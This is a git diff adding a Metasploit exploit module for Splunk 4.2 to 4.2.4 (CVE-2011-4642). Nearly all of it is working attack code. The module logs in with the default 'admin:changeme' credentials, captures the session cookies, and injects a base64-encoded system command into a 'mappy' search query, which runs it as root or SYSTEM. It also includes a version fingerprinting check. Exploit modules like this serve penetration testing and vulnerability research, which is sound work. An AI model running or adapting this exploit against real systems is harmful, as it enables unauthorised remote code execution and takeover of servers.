diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb new file mode 100644 index 0000000000..19a96679ff --- /dev/null +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Splunk Search Remote Code Execution', + 'Description' => %q{ + This module abuses a command execution vulnerability within the + web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists + within the 'mappy' search command which allows to run python code. + To exploit this vulnerability a valid Splunk user with the admin + role is required. Unfortunately, Splunk uses a default credential of + 'admin:changeme' for admin access, which is used to leverage our attack. + + The Splunk Web interface runs as SYSTEM on Windows and as root + on Linux by default. + }, + 'Author' => + [ + "Gary O'Leary-Steele", # Vulnerability discovery and exploit + "juan vazquez" # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'OSVDB', '77695' ], + [ 'BID', '51061' ], + [ 'CVE', '2011-4642' ], + [ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ], + [ 'URL', 'http://www.sec-1.com/blog/?p=233' ], + [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ], + [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ] + ], + 'Payload' => + { + 'Space' => 1024, + 'Badchars' => '', + 'DisableNops' => true + }, + 'Targets' => + [ + [ + 'Universal CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => ['unix', 'win', 'linux'] + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 12 2011')) + + register_options( + [ + Opt::RPORT(8000), + OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), + OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]) + ], self.class) + end + + def exploit + @username = datastore['USERNAME'] + @password = datastore['PASSWORD'] + @auth_cookies = '' + p = payload.encoded + print_status("Using command: #{p}") + cmd = Rex::Text.encode_base64(p) + + print_status("Attempting to login...") + do_login + + send_request_cgi( + { + 'uri' => '/en-US/api/search/jobs', + 'method' => 'POST', + 'cookie' => @auth_cookies, + 'headers' => + { + 'X-Requested-With' => 'XMLHttpRequest', + 'X-Splunk-Session' => @auth_cookies.split("=")[1] + }, + 'vars_post' => + { + 'search' => "search index=_internal source=*splunkd.log |mappy x=eval(\"sys.modules['os'].system(base64.b64decode('#{cmd}'))\")", + 'status_buckets' => "300", + 'earliest_time' => "0", + 'latest_time' => "" + } + }, 25) + handler + end + + def check + res = send_request_cgi( + { + 'uri' => '/en-US/account/login', + 'method' => 'GET' + }, 25) + + if res.body =~ /Splunk Inc\. Splunk 4\.[0-2]\.[0-4] build [\d+]/ + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def do_login + res = send_request_cgi( + { + 'uri' => '/en-US/account/login', + 'method' => 'GET' + }, 25) + + cval = '' + uid = '' + session_id_port = + session_id = '' + if res and res.code == 200 + res.headers['Set-Cookie'].split(';').each {|c| + c.split(',').each {|v| + if v.split('=')[0] =~ /cval/ + cval = v.split('=')[1] + elsif v.split('=')[0] =~ /uid/ + uid = v.split('=')[1] + elsif v.split('=')[0] =~ /session_id/ + session_id_port = v.split('=')[0] + session_id = v.split('=')[1] + end + } + } + else + raise RuntimeError, "Unable to get session cookies" + end + + res = send_request_cgi( + { + 'uri' => '/en-US/account/login', + 'method' => 'POST', + 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}", + 'vars_post' => + { + 'cval' => cval, + 'username' => @username, + 'password' => @password + } + }, 25) + + if not res or res.code != 303 + raise RuntimeError, "Unable to authenticate" + else + session_id_port = '' + session_id = '' + res.headers['Set-Cookie'].split(';').each {|c| + c.split(',').each {|v| + if v.split('=')[0] =~ /session_id/ + session_id_port = v.split('=')[0] + session_id = v.split('=')[1] + end + } + } + @auth_cookies = "#{session_id_port}=#{session_id}" + end + + end + +end